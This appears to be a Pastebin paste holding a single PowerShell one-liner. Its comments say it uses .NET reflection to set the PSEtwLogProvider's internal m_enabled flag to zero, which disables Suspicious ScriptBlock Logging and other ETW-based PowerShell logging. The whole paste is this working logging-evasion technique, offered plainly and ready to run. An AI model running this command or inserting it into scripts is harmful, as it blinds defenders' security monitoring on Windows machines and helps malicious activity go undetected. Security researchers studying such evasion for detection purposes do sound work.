Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #
- # This PowerShell command sets 0 to System.Management.Automation.Tracing.PSEtwLogProvider etwProvider.m_enabled
- # which effectively disables Suspicious ScriptBlock Logging etc. Note that this command itself does not attempt
- # to bypass Suspicious ScriptBlock Logging for readability.
- #
- [Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
Add Comment
Please, Sign In to add comment